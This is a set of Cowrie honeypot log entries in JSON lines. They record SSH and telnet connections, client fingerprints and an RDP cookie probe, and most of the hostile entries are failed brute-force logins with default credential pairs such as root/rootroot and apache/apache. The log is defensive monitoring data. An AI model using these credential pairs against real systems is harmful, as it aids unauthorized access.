{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:31.737389Z","src_ip":"45.156.87.204","session":"d5b9417ff752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:32.105425Z","src_ip":"45.156.87.204","session":"d5b9417ff752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.2470862865448,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:32.408625Z","src_ip":"152.42.224.71","session":"65f102810ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:32.424483Z","src_ip":"176.65.132.218","session":"61bc85e25b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:33.190492Z","src_ip":"45.156.87.204","session":"d5b9417ff752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54656,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4d03e407a5","protocol":"telnet","message":"New connection: 152.42.224.71:54656 (10.17.0.5:23) [session: aa4d03e407a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:33.481410Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38958,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b2f2e08f40","protocol":"ssh","message":"New connection: 45.156.87.204:38958 (159.203.135.109:22) [session: 51b2f2e08f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:35.202929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:35.207708Z","src_ip":"45.156.87.204","session":"51b2f2e08f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:35.293745Z","src_ip":"45.156.87.204","session":"51b2f2e08f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.97068405151367,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:35.368273Z","src_ip":"152.42.224.71","session":"c38fd75f4e4e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:35.899919Z","src_ip":"45.156.87.204","session":"51b2f2e08f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:36.985859Z","src_ip":"45.156.87.204","session":"51b2f2e08f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d75002520f8","protocol":"telnet","message":"New connection: 152.42.224.71:35808 (10.17.0.5:23) [session: 2d75002520f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.185604Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f10c3d8d7c1","protocol":"ssh","message":"New connection: 45.156.87.204:38964 (159.203.135.109:22) [session: 2f10c3d8d7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.220215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.228322Z","src_ip":"45.156.87.204","session":"2f10c3d8d7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.02190589904785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.231580Z","src_ip":"152.42.224.71","session":"912495565296","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.310263Z","src_ip":"45.156.87.204","session":"2f10c3d8d7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:39.559718Z","src_ip":"45.156.87.204","session":"2f10c3d8d7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54179,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbcc7fc60cb","protocol":"ssh","message":"New connection: 167.172.81.52:54179 (10.17.0.5:22) [session: 0fbcc7fc60cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:40.346078Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:40.351154Z","src_ip":"167.172.81.52","session":"0fbcc7fc60cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:40.355420Z","src_ip":"167.172.81.52","session":"0fbcc7fc60cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:40.644860Z","src_ip":"45.156.87.204","session":"2f10c3d8d7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c7eea9875fd","protocol":"ssh","message":"New connection: 45.156.87.204:60112 (159.203.135.109:22) [session: 3c7eea9875fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:42.785595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:42.789038Z","src_ip":"45.156.87.204","session":"3c7eea9875fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:42.874073Z","src_ip":"45.156.87.204","session":"3c7eea9875fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:43.119665Z","src_ip":"45.156.87.204","session":"3c7eea9875fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:44.204949Z","src_ip":"45.156.87.204","session":"3c7eea9875fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"7468d4f4c104","protocol":"ssh","message":"New connection: 45.156.87.204:60122 (159.203.135.109:22) [session: 7468d4f4c104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:46.449468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:46.573927Z","src_ip":"45.156.87.204","session":"7468d4f4c104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:46.578597Z","src_ip":"45.156.87.204","session":"7468d4f4c104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:47.062696Z","src_ip":"45.156.87.204","session":"7468d4f4c104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2cfc24dd780","protocol":"telnet","message":"New connection: 152.42.224.71:59744 (10.17.0.5:23) [session: c2cfc24dd780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:47.250352Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:48.148031Z","src_ip":"45.156.87.204","session":"7468d4f4c104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60146,"dst_ip":"159.203.135.109","dst_port":22,"session":"c027c19829bf","protocol":"ssh","message":"New connection: 45.156.87.204:60146 (159.203.135.109:22) [session: c027c19829bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:50.252879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:50.260631Z","src_ip":"45.156.87.204","session":"c027c19829bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:50.342307Z","src_ip":"45.156.87.204","session":"c027c19829bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:50.587447Z","src_ip":"45.156.87.204","session":"c027c19829bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59760,"dst_ip":"10.17.0.5","dst_port":23,"session":"217420c8aa7f","protocol":"telnet","message":"New connection: 152.42.224.71:59760 (10.17.0.5:23) [session: 217420c8aa7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:50.970835Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":58454,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ada04506ad5","protocol":"ssh","message":"New connection: 45.183.70.66:58454 (159.203.135.109:22) [session: 4ada04506ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:51.113479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:51.117989Z","src_ip":"45.183.70.66","session":"4ada04506ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:51.230778Z","src_ip":"45.183.70.66","session":"4ada04506ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2024","message":"login attempt [root/Passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:51.695926Z","src_ip":"45.183.70.66","session":"4ada04506ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:51.857647Z","src_ip":"45.156.87.204","session":"c027c19829bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:52.822616Z","src_ip":"45.183.70.66","session":"4ada04506ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58400,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb827e9fe46f","protocol":"ssh","message":"New connection: 47.237.167.49:58400 (159.203.135.109:22) [session: cb827e9fe46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:53.426752Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41034,"dst_ip":"159.203.135.109","dst_port":22,"session":"4818bee84b58","protocol":"ssh","message":"New connection: 45.156.87.204:41034 (159.203.135.109:22) [session: 4818bee84b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:53.748794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:53.753498Z","src_ip":"45.156.87.204","session":"4818bee84b58","protocol":"ssh"}
